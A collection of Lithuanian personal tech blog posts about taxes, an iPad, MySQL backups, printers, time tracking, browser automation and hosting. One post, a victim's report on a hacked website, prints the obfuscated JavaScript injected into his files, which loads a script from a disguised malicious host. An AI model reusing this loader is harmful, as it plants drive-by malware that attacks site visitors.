Norėčiau pasveikinti mūsų valdžią kurios credo tampa – sužlugdykim smulkųjį verslą. Štai keli:
- Individualios įmonės sąvininkas privalo uždirbti, ben minimumą.
- Jei jūs esate ne PVM mokėtojas, bet užsisakote ar suteikiate paslaugas užsienio PVM mokėtojui – automatiškai tampate PVM mokėtojas. PVZ užsisakote google adwords – tampi PVM mokėtojas, gauni dotaciją kokią išvažiuoti į užsienį – tampi PVM mokėtoju (bo viešbučiai, autobusai, traukiniai tikrai bus PVM mokėtojai)
P.S. yra ir daugiau… tik reikia gilintis
Ačiū, gal reikia paremti valstybę tik idėjiškai?
Apple pristatė savo naująjį ale “nišinį” gaminį kuris turėtų būti tarp telefono bei kompiuterio. Susigulėjus mintims po vakarykščio galima teigti kelias mintis, beveik neminintis grožio kas matyt aprašyme ir prezentacijose.
- Jis yra tiesiog peraugęs iphone su visais iphone privalumais ir trūkumais
- Pasirinkimas daryti iphone based nėra visiškai sveikintinas dalykas. Programos kurtos mažam ekranui, tikrai neatrodys patraukliai. Tiesiog turi būti atskira programų rinka šitam žaisliukui, anksčiau ar vėliau tai susiklostys…
- Tokia ekrano erdvė ir nėra multitaskingo? Dar ant iphone kažkiek suprantu, bet tokio tipo aparate jis privalo būti. Naršau svetainėje, tad tikrai noriu pažiūrėti staigiai paštą ar twiterį ir vėl grįžti prie ankstesnio darbo.
- Jei jį naudoti darbui programų tekstams/prezentacijoms ir nėra bendrai prieinamos failų sistemos tai tikrai FAIL. Juk noriu aš bet kada lengvai prisegti, bet kokį dokumentą (bet kokio tipo) prie laiško, o ne tik taip kaip apple numatė.
- Ekranas galėtų būti labiau wildscreen, tada tikrai būtų tinkamesnis filmų peržiūrai
- Jungtys… ir vėl minimalizmas. Turėdamas tokį įrenginį norėčiau įkelti nuotraukas per USB ar SD kortelę :). Juk taip gražiai parodė savo nuotraukų programą
- Neminint elementarių trūkumų žavi naršymo smagumas, galimybės e-laikraščiams ir e-žurnalams.
- Ar norėčiau turėti? Tikrai taip. O pirkti? Smarkiai abejoju, bent tikrai ne šios kartos jį tikrai dar reikia stipriai patobulinti. Tikrai tikėjausi labiau WOW ir galingesnio funkcionalumo.
Turbūt daugelis žino, kad atsarginių kopijų turėjimas yra svarbus – ypač verslo sektoriuje. Vieni iš svarbiausių duomenų yra saugojami duomenų bazėse (ji daug dinamiškesnė), tad jų atsargines kopijas reikia darytis daug dažniau nei failų sistemoje.
Duomenų bazės (mysql) galima padaryti paprastu cronjob scriptu:
mysqldump -uVartotojas -pSlaptazodis LentelesVardas | gzip > /path/to/backup/vardas-$(date +%Y-%m-%d-%H.%M.%S).gz
Tokių kopijų darymas ne visuomet yra saugus. Saugiausia atsargines kopijas saugoti nuotoliniame serveryje. Nuotolinio serveriui išlaikyti irgi reikalingi pinigai, tad jei jūsų duomenų bazė nėra didelė galima paprasčiausiai atsarginę kopiją nusiųsti el. paštu.
Tai jums padės paprastas programėlė kurią galite parsisiųsti iš backup2mail.com. Jei jūs turite paprasčiausią hostingą serveriai.lt (asmeninis/verslas) tai jus ja pasinaudoti nepavyks, kadangi yra apribojimai tam tikrom komandoms.
Kur geriausia siūsti atsargines kopijas? Kodėl gi neišnaudojus Gmail el. pašto dėžutės? Dar ir dabar turiu virš septynių gigabaitų laisvos vietos, o atsarginė kopija kuri ateina užima tik pusę megabaito.
Į mano rankas pateko du panašūs spausdintuvai iš HP PhotoSmart serijos rašalinius spausdintuvus “HP PhotoSmart with Wireless” (1) bei “HP PhotoSmart Plus” (2). Abiejų spausdintuvų savybės ganėtinai panašios, kadangi jos iš tos pačios šeimos
- Kaip ir daugelis “ALL in One” – Spausdina / Skenuoja / Kopijuoja
- Valdymas su lietimui ekranu.
Tiesa pas pirmą printerį ekraniukas yra mažesnis ir dėl to prarandamas dalis patogumo.
HP PhotoSmart Plus – 6.1cm, HP PhotoSmart withWirless – 3.68 akivaizdus skirtumas.
- Spausdintuve galima naudoti atminties korteles. Įdėjus kortelę galima peržiūrėt nuotraukas ir pasirinktas atspausdinti. Yra galimybė nuotraukas paredaguoti – tarkim pašalinti raudonų akių efektą.
- O jei norite, galite tiesiog nuskenuoti informaciją į atminties kortelę. Tam jums jau nereikės kompiuterio.
- Pas abu spausdintuvus yra Wifi, kuris gali būti įdiegiamas vienu mygtuko paspaudimu
Tiesa tai pavyksta tik tam tikrom sąlygomis – turi būti routeriukas WPS su Push mygtuku. O paprastiems mirtingiesiems konfigūravimas tik pajungus laidą
- Naudojami atskirų spalvų rašalo kasetės. Dėl to galima sutaupyti perkant atskiras spalvos kasetes nei vieną bendrą.
- Turi Quick Forms su kuriomis galima greitai atsispausdint įvairias formas: kalendorius, atmintinė ar net sudoku
- Jei turite tarkim iPhone telefoną tai jūs galite atspausdinti nuotraukas tiesiai iš jo. Tiesa jums reikės atsisiųsti programą iš apple app store parduotuvės.
- Su įdiegta programine įranga galima ne tik kopijuoti ar skenuoti, bet ir atpažinti tekstą lape.
Žinoma dar yra papildoma programinė įranga nuotraukoms tvarkyti.
- Draiveriai tiek Windows, Linux, MacosX opercinėms sistemos.
Vienas iš metodų apmokestinti klientą yra valandinis įkainis ir kiekvienam skirtingam darbui dažnai taikomas skirtingas įkainis. Tokia apmokėjimo sistema gali būti taikoma tiek programavimo, dizaino ar tarkim advokatūros, teisininko paslaugoms. Paprastai (jei pasirašyta sutartis) gale mėnesio siunčiama ataskaita apie suteiktas paslaugas ir pagal ją išrašoma sąskaita faktūra.
Vienas iš paprasčiausių būdų tai realizuoti – naudoti kokią nors programinę įrangą. Visai neseniai atradau Time Edition. Trumpai apie savybes:
- Ji veikia Windows, MacOsX, Linux sistemai.
- Kiekvienas darbas skirstomas pagal tris lygmenis: klientas, kliento projektas, užduotys
- Užduotys yra bendros visiems klientams/projektams tik norimus galima paslėpti. Kiekviena užduotis turi jūsų numatytą valandinį įkainį.
- Ataskaitos yra gan paprastos, kurios gali būti filtruojamos pagal minėtus tris lygmenis bei laiko intervalą. Norimą ataskaitą galima tiesiog eksportuoti ir taip paruošti gražią ataskaitą klientui
- Susiejimas su iCal, Outlook bei Google kalendoriumi
Dažnai pradedantiems laisvai samdomiems programuotojams iškyla klausimas kiek apmokestinti savo darbą. O atsakymas paprastas: praleistą laiką (ar planuojamą) darbui padauginate iš savo nustatyto įkainio ir gaunate tinkamą darbui sumą.
Vienas sunkiausių dalykų tokiuose sistemose – pripratimas ir disciplina. Jei nedirbate komandoje, tokia paprasta programa – pagalbininkė yra tikras lobis. Skanaus naudojimo.
Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:
/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(’script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);Xs1ya4t7ajb13i.setAttribute(‘id’, ‘myscript1′);Xs1ya4t7ajb13i.setAttribute(’src’, ‘h^#!#t^^^#t)@p(!!:($^/#$^/#)#@o@@($r#))^k#!^u$&)t!#&-))c#^!!o@&)m@)$-####b$$r)#.$t&&a@b&(n^$(a!#k^.$(#!i)r)^$.@(l!$i(@t&&$e^r$^&o#t!&)i)&)c#&a$&&-@#)c$#!o)(^@#m)$&(.#i$#n&(n&&e&w!$)t$&e@r@!(r#@&((a#(.#!&r&#u&$#:(@&8)^!0&8$@)0!/($!g#)$(o&#@o^!g!)l$&^e^@.#!c#)(n(/^$g!(!o!^&o@#&@g)l^#(#e&^@.$^$&c!^)n(/!$(g!o^)&!o@g&(!l$(!!e&@&$.#&c(($o&)m&#)/$(^h^&))a^!o!1&(2^##3#.&&#(c#!&o&m(#/)^&i@@s@@&)t)^^)o((!c$k&(@!p##h#)@o(t)^#o^&.^&!c)#o^!m@$/$@#’.replace(/&|\(|#|\!|\)|\^|\$|@/ig, ”));Xs1ya4t7ajb13i.setAttribute(‘defer’, ‘defer’);document.body.appendChild(Xs1ya4t7ajb13i);}} catch(e) {}
Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.
Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.
Ką tokiu atveju daryti?
- Visų pirma pasikeisti FTP slaptažodžius
- Žinoma, naikinti kodus (nesmagus užsiėmimas)
- Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
- Ką dar siūlote?
Automatinius veiksmus naršyklėje galima išnaudoti web programų/puslapių testavimui, nustatytų veiksmų eigos vykdymas ar tarkim simuliuoti žaidimų veiksmus (cheatinti)
Viena iš sunkiausių užduočių kuriant bet kokią programinę įrangą (tas pats yra ir web svetaines) yra testavimas. Priklausomai nuo poreikių testuojama tiek rankiniu tiek automatiniu būdu, O tai kartu yra ir sudėtingas ir monotoninis darbas. Automatinis testavimas žymiai pagreitina ir supaprastina visą testavimo procesą.
Bet kurio testavimo esmė gauti teisingus rezultatus su kontroliniais duomenimis. Tai gali vykti tiek programiniame lygmenyje (į kurį veltis dabar nesiruošiame), tiek interfeiso. Tarkim jums reikia ištestuoti e-parduotuvės pirkimo mechanizmą. Papildžius e-parduotuvę papildomais moduliais (ar atnaujinus tam tikrus programinius kodus) rezultatas turi nesikeisti, paprastai tariant neturi sugriūti sistema. Tad automatinis skriptas įdeda į krepšelį nustatytas prekes, patenka į krepšelį ir jį patvirtina ir taip nueinama iki pat galutinio atsiskaitymo. Jei visi kontroliniai punktai teisingi – vadinasi viskas veikia teisingai.
Keletą programų pasižaidimui veikiančių firefox naršyklėje: Selenium , iMacros .
Kaip pavyzdį pateiksiu kuo tai naudinga paprastam vartotojui su iMacros (iš facebook’e žaidimo Startfleet Commander). Tarkim yra galimybė, kas tris minutes atlikti misiją resursams rinti. Pats optimaliausias būdas surinkti kuo daugiau resursų – vykdyti kuo daugiau misijų. Pasinaudojus tokia programa galima pasidaryti programėlę 
VERSION BUILD=6251204 RECORDER=FX
TAB T=1
FRAME F=2
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
WAIT SECONDS = 160
Tarkim ši programėlė paspaudžia tą patį mygtuką 7 kartus ir palaukia reikiamą sekundžių kiekį. Paleidus programėlę ciklu gauname norimą efektą. Paleidžiame atskiram ir einam pailsėt, pramogauti ar paprasčiausiai dirbam tai ką reikia :)
Vienas iš dažniausiai iškylančių klausimų prieš paleidžiant, bet kokį projektą – kokį talpinimo planą pasirinkti. Paprastai firmos svetainei / blogui dažniausiai užtenka paprasčiausio plano (shared hosting). Didėjant programinės įrangos reikalavimams (tarkim e-shop) ar vartotojų kiekiui reikia vis galigesnio serverio.
Naudojant pigiausiais talpinimo planus dažniausiai net nereikia rūpintis nei serverio priežiūra, nei resursų stebėjimų. Bet būna įvairiausių išimčių. Blogiausiai yra tuomet, kai vartotojas gauna pranešimą: “Informuojame, kad jūsų talpinamos interneto svetainės itin smarkiai apkrauna mūsų serverio centrinį procesorių (CPU), todėl trikdo kitų klientų tame pačiame serveryje patalpintų svetainių darbą.“ ir siūlo pasirinkti brangesnį dedicated planą. Vartotojas paprastai jokių įrodymų negauna.
Nuomojant bent dalį serverio (dedicated hosting) situacija yra kitokia. Kadangi jūs patys turite pasirinkimo teisę kokią serverio programinę įrangą instaliuoti, galima įdiegti papildomus serverio resursų stebėjimo komponentus. Ką reikia stebėti? Kad ir vienas iš svarbių parametrų operatyviąją atmintį. Įsivaizduokite, kad atidarant tam tikrą puslapį sunaudojama 10MB atminties. Paprastai pigiausių dedicated serverių apribojama iki 256MB, 512MB, tad nesunkiai galima paskaičiuoti, kiek vartotojų vienu metu gali lankytis, be trukdžių (papildomas laukimas, puslapio atidarymo greitis). O dar nereikia pamiršti, kad operatyviąją atmintį naudoja ir serverio programinė įrangą (duomenų bazės, apache, el. paštas servisai ir t.t). Žinoma vienu metu 20-50 vartotojų jau yra tikrai nemažai (tai gali būti ir >50-60 tūkstančių parodymų per valandą!), bet dideliuose projektuose, bei piko metu tai gali laisvai nutikti.
Todėl būtina stebėti serverio resursus norint turėti nuoseklų serverio darbą. Viena iš rekomenduotinų priemonių munin. Šią programa gan nesunkiai galima instaliuoti ir galima surasti tikrai naudingų pluginų (o suinteresuotiems pasirašyti, kad ir savo).
Suinstaliavus ir per laiką gavus tam tikrą statistiką, daug lengviau daryti išvadas reikia ar ne galingesnės sistemos.
Šio sunkmečio laikais visi bando prisitaikyti, pasiūlyti efektyvius sprendimus. Viena iš galimybių – taupyti. Šiam tikslui HP pristatė dar vieną savo šeimos narį HP Officejet 7000 Wide. Šis spausdintuvas leidžia sutaupyti iki 40% lėšų kasečių atnaujinimams bei energijos sunaudojimą lyginant su lazeriniais spausdintuvais.
Šiek tiek apie technines printerio savybes. Printerį galite pajungti tiek USB 2.0, tiek tinklo kabeliu. Spausidinimo greitis iki 33 lapų per minutę. Šis printeris leidžia atspausdinti net A3+ formato lapą. Tad įsivaizduokite, kad galite atsispausdinti tokio dydžio brangiausias užfiksuotas akimirkas (vestuvės, šventė ir t.t) ar atspausdinti tokio dydžio reklamą. Spausdinimo tankis iki 600 taškų colyje tekstui, spalvotiems – 4800×1200. Yra galimybė spaudinti be parasčių. Mane vis dar žavi savybė ta, kad naudojamos 4 atskiros spalvų kasetės, o juodai galima naudoti ir jos padidinta variantą.
Printeris yra tikrai paprastas ir jį galima labiau priskirti smulkiom įmonėms, kurios nori pačios spausdintis savo reklmai (savireklamai) ataskaitom ar pasiūlymams. Tiesa pasakius ne visiems yra reikalinga savybė spausdinti didelius A3 formato lapus tad galima pasirinkti panašių savybių mažesnį spausdintuvą HP Officejet 6000.
Mokytis bei tobulėti galima visą gyvenimą. Tuomet gali atrasti naujų idėjų ar pašaukimų. Mokytis galima pačiam, bet nėra taip įdomu kai galima tai padaryti šimtus kilometrų už Lietuvos. Suaugusiems šią galimybę suteikia Grundtvig. Grundtvig remia suaugusiųjų švietimą ir kitas galimybes. Suaugusiųjų švietimas grindžiamas idėja, kad žmogus turi teisę mokytis visą gyvenimą, o visuomenės pareiga – sudaryti sąlygas to siekiantiems.
Liepos mėnesio pradžioje dalyvavau vienam tokių projektų “Aukštos kokybės audiovizualinių eMokymosi ir sklaidos priemonių švietime kūrimas“ kuris buvo remiamas ES (pr.nr. LLP-GRU-KT-2009-LT-00051). Šio mažo projektuko tikslas išmokyti dalyvius kurti (filmuoti / redaguoti) audiovizualinius kūrinius. Bandėme sukurti mini filmukus kelias stiliais (interviu, dokumentika, reportažas). O sukurtus video po to redagavome. Žinoma tokie projektai kartu skirti ir kitos kultūros pažinimui, bei bendravimui. Tad tiesa pasakius man jau norisi sugrįžti atgal į Italiją…
